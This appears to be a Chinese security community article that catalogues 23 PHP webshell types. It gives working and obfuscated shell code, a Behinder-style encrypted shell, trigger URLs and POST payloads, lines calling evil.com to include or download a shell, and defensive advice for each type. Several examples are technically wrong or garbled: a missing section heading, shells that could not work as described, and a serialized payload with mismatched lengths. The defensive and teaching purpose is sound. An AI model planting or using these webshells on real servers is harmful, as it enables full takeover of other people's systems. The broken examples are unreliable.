wahaha2025-01-03文章来源:SecHub网络安全社区
1. Eval 木马(详细扩展)
eval() 是PHP中非常危险的函数之一,它能够动态解析并执行一段PHP代码,因此在恶意代码中广泛使用。
攻击方式:
攻击者可以将恶意代码嵌入到 eval() 函数中,从而动态执行任意PHP代码。例如:
<?php
$code = $_POST['cmd'];
eval($code);
?>
可能的变体:
攻击者通常不会直接显式使用 eval(),而是通过混淆或动态解码的方式绕过安全检测。常见的变体包括:
1.使用 base64_decode() 解码后调用 eval():
<?php
$code = base64_decode($_POST['cmd']);
eval($code);
?>
2.通过数组或动态变量名生成恶意代码:
<?php
${'func'} = 'eval';
$code = $_POST['cmd'];
$func($code);
?>
真实场景中的案例:
在某些内容管理系统(CMS)或插件中,攻击者通过文件上传漏洞上传带有 eval() 木马的文件。一旦文件被服务器执行,攻击者即可完全控制目标系统。
防御策略:
禁用危险函数:在 php.ini 中添加如下配置,禁用 eval():
disable_functions = "eval"
代码审计:定期检查项目代码中是否存在 eval() 的调用。所有必须使用的 eval() 代码应经过严格验证。
输入过滤:永远不要直接信任用户输入,特别是在动态执行代码时,使用 htmlspecialchars() 或其他安全处理机制。
2. Assert 木马(详细扩展)
assert() 和 eval() 类似,它可以动态执行PHP代码,因此也是攻击者利用的重点对象。
攻击方式:
攻击者通常利用 assert() 直接执行代码:
<?php
$cmd = $_GET['cmd'];
assert($cmd);
?>
可能的变体:
为了躲避检测,攻击者可能会结合其他函数,间接调用 assert():
结合字符串拼接
<?php
$a = 'ass' . 'ert';
$a($_POST['cmd']);
?>
结合动态编码
<?php
$a = base64_decode($_POST['cmd']);
assert($a);
?>
真实场景中的案例:
在某些漏洞利用过程中,攻击者通过SQL注入漏洞构造恶意数据,使目标应用在逻辑处理中使用了 assert()。例如,攻击者可以通过注入带有PHP代码的字符串绕过WAF。
防御策略:
禁用 assert():建议在生产环境中完全禁用此函数。
输入验证:所有传递给 assert() 的数据必须严格验证,禁止包含PHP代码。
使用替代函数:避免使用 assert(),改用其他安全的逻辑处理方式。
3. 反引号(详细扩展)
反引号 ( 和 ) 是PHP中执行系统命令的语法糖,相当于 shell_exec()。它常被攻击者用于执行任意系统命令。
攻击方式: 攻击者利用反引号直接执行系统命令,例如:
<?php
$cmd = $_GET['cmd'];
echo `$cmd`;
?>
可能的变体:
结合字符串操作
<?php
$a = '`' . $_POST['cmd'] . '`';
eval("echo $a;");
?>
结合变量替代
<?php
$cmd = $_POST['cmd'];
echo shell_exec($cmd);
?>
真实场景中的案例:
攻击者常利用文件包含漏洞或远程代码执行漏洞将包含反引号的恶意代码注入目标系统。例如:
http://example.com/index.php?file=../../../../etc/passwd
一旦代码被执行,攻击者即可通过反引号列出服务器的目录内容。
防御策略:
禁止使用反引号语法:在代码开发中避免使用反引号。
过滤用户输入:对于任何与系统命令相关的输入,严格限制可执行的内容。
使用替代函数:尽量使用受控的函数处理命令调用,例如 escapeshellcmd() 或 escapeshellarg()。
4. GET-GET 木马
描述:
GET-GET 木马是一种通过 $_GET 全局变量执行远程命令的恶意代码。它通过从 URL 获取参数并执行代码,隐藏性较高。
示例代码:
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo $a($b);
?>
攻击方式:
攻击者通过构造如下 URL 来执行恶意命令
http://example.com/shell.php?a=system&b=ls
这将执行系统命令 ls,返回当前目录下的所有文件和文件夹。
变体:
使用动态变量
<?php
${$_GET['a']}($_GET['b']);
?>
混淆代码结构
<?php
$a = base64_decode($_GET['a']);
$b = base64_decode($_GET['b']);
eval("$a('$b');");
?>
防御策略:
严格限制全局变量的使用:避免直接使用 $_GET,所有数据应经过严格验证。
关闭危险函数:禁用 system、exec、shell_exec 等函数。
WAF 防护:启用 Web 应用防火墙,拦截类似 a=system&b=ls 的恶意请求。
5. GET-POST 木马
描述:
GET-POST 木马通过同时利用 $_GET 和 $_POST 变量来执行恶意命令,通常用于绕过单一变量检测。
示例代码:
<?php
$a = $_GET['cmd'];
$b = $_POST['arg'];
eval("$a('$b');");
?>
攻击方式:
攻击者可以通过如下方式触发木马:
在 URL 中传递 cmd 参数
http://example.com/shell.php?cmd=system
在 POST 数据中传递 arg 参数:
arg=ls
最终执行 system(‘ls’);。
防御策略:
同上,确保输入验证,并避免直接使用用户输入作为代码执行的内容。
6. POST-POST 木马
描述:
POST-POST 木马完全通过 POST 请求触发,不在 URL 中暴露恶意参数,具有较高隐蔽性。
示例代码:
<?php
$a = $_POST['a'];
$b = $_POST['b'];
call_user_func($a, $b);
?>
攻击方式:
攻击者通过 POST 请求如下数据触发木马:
a=system
b=ls
将执行系统命令 ls。
防御策略:
输入验证:严格限制 $_POST 数据的内容类型。 限制函数调用:使用白名单机制限制 call_user_func 所能调用的函数。
7. REQUEST-AB 木马
描述:
REQUEST-AB 木马是一种通过 $_REQUEST 超全局数组(包含 GET、POST 和 COOKIE 数据)传递命令的恶意代码。
示例代码:
<?php
$a = $_REQUEST['a'];
$b = $_REQUEST['b'];
$a($b);
?>
攻击方式:
攻击者可以通过 GET、POST 或 COOKIE 数据注入恶意代码,例如:
GET:
http://example.com/shell.php?a=system&b=ls
POST:
a=system&b=ls
COOKIE:
Cookie: a=system; b=ls
防御策略:
不使用 $_REQUEST 超全局变量,分别独立处理 $_GET 和 $_POST 数据。 限制函数调用和输入。
示例代码:
<?php
include($_GET['file']);
?>
攻击方式:
攻击者通过构造如下 URL 加载远程文件:
http://example.com/shell.php?file=http://evil.com/shell.txt
http://evil.com/shell.txt 文件内容可能是
<?php
system('ls');
?>
防御策略:
禁用 allow_url_include 和 allow_url_fopen:
allow_url_include = Off
allow_url_fopen = Off
使用白名单机制限制包含的文件路径。
9. Create_Function 木马
描述:
create_function 是 PHP 中一种动态创建匿名函数的方法,可以用来生成自定义代码执行的函数。攻击者可以利用它来动态执行恶意代码,具有极高的灵活性。
示例代码:
<?php
$code = $_POST['code'];
$func = create_function('', $code);
$func();
?>
攻击方式:
攻击者通过 POST 请求发送如下数据:
code=system('ls');
这段代码动态生成一个匿名函数,并执行系统命令 ls。
变体代码:
混淆版本
<?php
$c = base64_decode($_POST['c']);
$func = create_function('', $c);
$func();
?>
攻击者传递的 POST 数据为:
c=c3lzdGVtKCdscycpOw==
解码后是:system(‘ls’);。
防御策略:
禁用 create_function:从 PHP 7.2 开始,create_function 被废弃,建议升级 PHP 到更高版本。 代码审计:对代码中动态执行函数的部分进行严格审查,避免不必要的动态生成
。
10. Array_Map 木马
描述:
array_map 是一个将回调函数应用于数组中每个元素的函数。攻击者通过将恶意回调传递给 array_map,执行任意代码。
示例代码:
<?php
$a = $_POST['func'];
$array = [$_POST['param']];
array_map($a, $array);
?>
攻击方式:
攻击者通过 POST 请求传递以下数据:
func=system
param=ls
这将执行 system(‘ls’),列出当前目录下的文件。
混淆变体:
动态设置数组元素:
<?php
$func = $_POST['func'];
$param = base64_decode($_POST['param']);
array_map($func, [$param]);
?>
攻击者发送的参数:
func=system
param=bHM=
解码后,param 的值为 ls。
防御策略:
限制回调函数来源:在使用 array_map 时,禁止接受用户输入的函数名称。 严格输入验证:确保数组元素和回调函数的安全性。
11. Array 木马
描述:
Array 木马利用 PHP 的动态变量特性,将数组元素直接作为函数调用。
示例代码:
<?php
$array = ['func' => 'system', 'arg' => 'ls'];
$array['func']($array['arg']);
?>
攻击方式:
攻击者可以通过操控数组内容,调用任意函数并传递恶意参数
。例如:
$array = ['func' => 'exec', 'arg' => 'whoami'];
$array['func']($array['arg']);
将执行 exec(‘whoami’)。
变体代码:
动态注入数组:
<?php
$array = $_POST['data'];
$array['func']($array['arg']);
?>
攻击者可以发送如下 POST 数据
data[func]=system&data[arg]=ls
防御策略:
避免动态变量调用:明确声明函数和参数,避免将数组元素作为动态函数名。 严格过滤数组内容:对传递的数组内容进行白名单验证。
12. XOR 木马
描述:
利用 PHP 的 ^ 按位异或操作,攻击者可以加密和解密恶意代码,隐藏其真正的意图。
示例代码:
<?php
$key = 'key123';
$code = $_POST['code'];
for ($i = 0; $i < strlen($code); $i++) {
$code[$i] = $code[$i] ^ $key[$i % strlen($key)];
}
eval($code);
?>
攻击方式:
攻击者发送加密后的代码:
code=加密的恶意代码
PHP 脚本使用密钥 key123 解密代码,并执行 eval。
防御策略:
禁用危险函数:确保代码中不会使用 eval。 检测 XOR 使用:在代码审计中重点关注 ^ 操作符的应用场景。
13. Preg_Replace 木马
描述:
preg_replace 是一个正则表达式替换函数。在使用 /e 修饰符时,可以执行 PHP 代码。尽管 /e 在 PHP 7.0 中已被移除,但它在老版本中仍然可能被利用。
示例代码:
<?php
$code = $_POST['code'];
preg_replace('/.*/e', $code, 'test');
?>
攻击方式:
攻击者通过 POST 请求发送代码:
code=system('ls');
将执行 system(‘ls’);。
防御策略:
禁用 /e 修饰符:确保使用的 PHP 版本高于 7.0,或者替换为安全的处理方法,例如 preg_replace_callback。 严格过滤正则表达式:避免用户输入直接作为正则替换内容
14. Md5 木马
描述:
攻击者利用 md5 函数动态生成代码片段,避免代码审计工具的静态分析。
示例代码:
<?php
$code = $_POST['code'];
$func = md5($code);
$func();
?>
攻击方式:
攻击者将代码片段动态传递给 md5 函数,并调用恶意函数。
防御策略:
禁用动态函数调用,避免使用动态生成的函数名
15. Special-OPE 木马
描述:
Special-OPE 是一种特殊操作符利用方式,通过特定符号或运算符绕过安全检测。
示例代码:
<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("$a^$b");
?>
攻击方式: 攻击者发送如下请求:
http://example.com/shell.php?a=system&b=whoami
这将执行 system(‘whoami’);。
16. 反射
描述:
PHP 的反射机制(Reflection)提供了一种运行时分析和操作代码的能力,攻击者利用 ReflectionFunction 可以调用任意函数并传递恶意参数。
示例代码:
<?php
$func = new ReflectionFunction("system");
$func->invokeArgs(array($_GET['cmd']));
?>
攻击方式:
攻击者通过 GET 请求传递如下参数:
http://example.com/shell.php?cmd=ls
将执行命令 system(‘ls’),列出当前目录下的文件。
变体代码:
动态函数名
<?php
$function = $_GET['func'];
$ref = new ReflectionFunction($function);
$ref->invokeArgs(array($_POST['arg']));
?>
攻击者可以通过以下请求触发恶意行为
func=exec
arg=whoami
防御策略:
禁用反射类:在服务器配置中禁用 ReflectionFunction 和其他反射相关的类。 函数白名单:明确允许调用的函数列表,拒绝一切未授权调用。
17. Callback
描述:
PHP 的回调机制允许以函数名、对象方法等形式动态调用代码,攻击者利用回调机制执行任意恶意代码。
示例代码:
<?php
$cb = 'system';
ob_start($cb);
echo $_GET['cmd'];
ob_end_flush();
?>
攻击方式:
攻击者传递如下 GET 参数
http://example.com/shell.php?cmd=ls
将执行 system(‘ls’)。
混淆变体:
利用对象和方法:
<?php
class CallbackExample {
public static function execute($command) {
return $command;
}
}
$cb = [CallbackExample::class, 'execute'];
call_user_func($cb, $_GET['cmd']);
?>
攻击者发送参数:
cmd=system('ls');
防御策略:
限制回调范围:仅允许可信的回调函数或方法。
验证参数合法性:过滤和验证用户输入的回调内容。
18. 反序列化
描述:
PHP 的 unserialize 函数会根据序列化的字符串重建对象,攻击者可以通过构造恶意的序列化数据触发危险行为。
示例代码
<?php
class Home {
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct() {
call_user_func_array($this->method, $this->args);
}
}
$data = $_POST['data'];
$obj = unserialize(base64_decode($data));
?>
攻击方式:
攻击者发送如下 POST 数据:
data=YToyOntzOjY6Im1ldGhvZCI7czg6InN5c3RlbSI7czoyOiJhcmdzIjthOjE6e2k6MDtzOjMyOiJjdXJsIC1vIGh0dHA6Ly9ldmlsLmNvbS8xLnBocCI7fX0=
解码后的序列化字符串为:
O:4:"Home":2:{s:6:"method";s:8:"system";s:4:"args";a:1:{i:0;s:32:"curl -o http://evil.com/1.php";}}
将触发命令注入。
防御策略:
避免使用 unserialize:尽量使用 JSON 编码和解码替代。 数据验证:对反序列化数据来源进行严格验证。 禁用危险函数:禁用 call_user_func_array 等高危函数
19. 冰蝎马
描述:
冰蝎(Behinder)是一个著名的 WebShell 工具,其生成的木马具有 AES 加密通信的特点,绕过传统的防火墙和杀毒软件检测。
示例代码:
<?php
$key = "e45e329feb5d925b"; // 连接密码 md5 的前 16 位
$post = file_get_contents("php://input");
$post = openssl_decrypt($post, "AES128", $key);
$arr = explode('|', $post);
$func = $arr[0];
$params = $arr[1];
class C {
public function __invoke($p) {
eval($p . "");
}
}
@call_user_func(new C(), $params);
?>
攻击方式:
攻击者通过客户端发送加密的命令,如 system(‘ls’),WebShell 解密后执行 eval。
防御策略:
检测加密通信:监控传输数据中是否存在高频加密的请求。 禁用危险函数:例如 eval、call_user_func 等。 启用 Web 应用防火墙:阻止恶意流量。
20. Config 木马
描述:
利用文件名中的内容动态生成代码。
示例代码:
<?php
${"func"} = substr(__FILE__, -10, -4); // 文件名倒数第 10 到倒数第 4 个字符
${"config"} = $_GET['config'];
@$func($config);
?>
如果文件名为 no_assert.php,func 的值为 assert。
攻击方式:
攻击者传递如下参数:
http://example.com/no_assert.php?config=system('ls');
将执行命令 system(‘ls’)。
防御策略:
禁止动态变量调用:避免将文件名作为函数名。
验证文件路径:对动态路径严格验证。
21. No_Assert 木马
描述:
该木马利用动态变量和字符串函数组合实现隐蔽代码执行。
示例代码:
<?php
$a = md5('ssss');
$b = substr($a, 2, 2) + 37;
$s = $b + 18;
$e = substr($a, -7, 1);
$r = $s - 1;
$t = $r + 2;
$z = chr($b) . chr($s) . chr($s) . $e . chr($r) . chr($t);
$z($_GET['cmd']);
?>
攻击方式:
动态生成的 $z 为 assert,攻击者通过传递参数 cmd=system('ls') 触发命令注入。
防御策略:
禁用危险函数:如 assert。 代码静态分析:检测类似动态生成函数的行为
。
22. Base64_Assert 木马
描述:
使用 base64_decode 动态生成代码。
示例代码:
<?php
$a = base64_decode("YXNzZXJ0");
$a($_POST['cmd']);
?>
base64_decode(“YXNzZXJ0”) 解码为 assert。
防御策略:
检测 base64 解码:静态分析和动态检测代码中的解码行为。 屏蔽 POST 数据:拦截可能包含 base64 数据的请求。
23. 自定义函数木马
描述:
通过自定义函数执行恶意代码。
示例代码:
<?php
function fun($a) {
eval($a);
}
fun($_POST['shell']);
?>
防御策略:
禁止动态执行代码:避免使用 eval。 代码审计:禁止通过用户输入传递动态代码。
总结
PHP 木马的多样性和复杂性,使得防御这些攻击变得尤为重要。这篇文章详细分析了 23 种常见 PHP 木马,包括其实现原理、攻击方式、变体代码以及具体的防御策略。这些木马利用了 PHP 中的动态特性、危险函数以及语言机制的漏洞,通过隐蔽的方式绕过传统的安全检测,从而达到执行恶意代码的目的。
以下是针对这些木马的总结和通用防御策略:
一、木马攻击特性
灵活性高:利用动态执行(如 eval、assert)、反射机制、回调函数等特性,增加攻击的隐蔽性。
多样化变体:木马通过混淆代码、动态生成函数名、base64 加密等手段规避静态检测工具。
后门通信:部分木马(如冰蝎)使用加密通信,突破传统防火墙检测。
持久性和隐蔽性强:通过文件名、序列化对象等动态生成攻击代码,避免被直接发现。
二、防御策略总结
禁止高危函数:
禁用或限制 eval、assert、create_function、system、exec 等危险函数。
可以在 php.ini 配置中设置
disable_functions = "eval, assert, system, exec, shell_exec, passthru, proc_open, popen"
严格验证用户输入:
对用户输入的数据进行严格的白名单验证,禁止直接传递到危险函数或代码执行逻辑中。 使用 filter_input 等函数处理 GET/POST 数据。
代码静态与动态分析:
静态检测:使用工具(如 SonarQube、PHPStan)扫描代码中的动态执行函数和危险调用。 动态监控:部署 WAF(Web 应用防火墙)监控 WebShell 常用的通信模式。
强化文件权限:
限制服务器文件写入权限,防止木马上传或动态生成恶意文件。 仅允许 web 用户对必要目录拥有写权限(如上传目录)。
避免使用 unserialize 函数:
反序列化攻击是一个常见漏洞,尽量避免使用 unserialize,推荐改用 JSON 格式进行数据传输。
加固通信安全:
对流量进行 HTTPS 加密,监控和分析高频加密的恶意数据传输。 使用 IDS(入侵检测系统)检测传输中的异常行为。
代码审计和安全意识:
开发人员应加强对安全编码的认识,避免盲目使用动态代码执行功能。 定期进行安全审计,发现潜在的安全隐患。
部署 WebShell 检测工具:
使用 WebShell 检测工具(如 D盾、Cloudflare WAF 等)扫描服务器中潜在的木马文件。
攻防实战建议
多层次防护:
在开发阶段进行代码安全审计。 在生产环境部署 Web 应用防火墙,并限制高危函数。 定期更新 PHP 版本和依赖,修补已知漏洞。
结合机器学习检测:
使用基于机器学习的工具,通过行为分析来检测异常代码执行或恶意流量。
构建攻防演练环境:
通过搭建靶场环境,模拟常见木马的攻击行为,测试服务器和安全策略的有效性。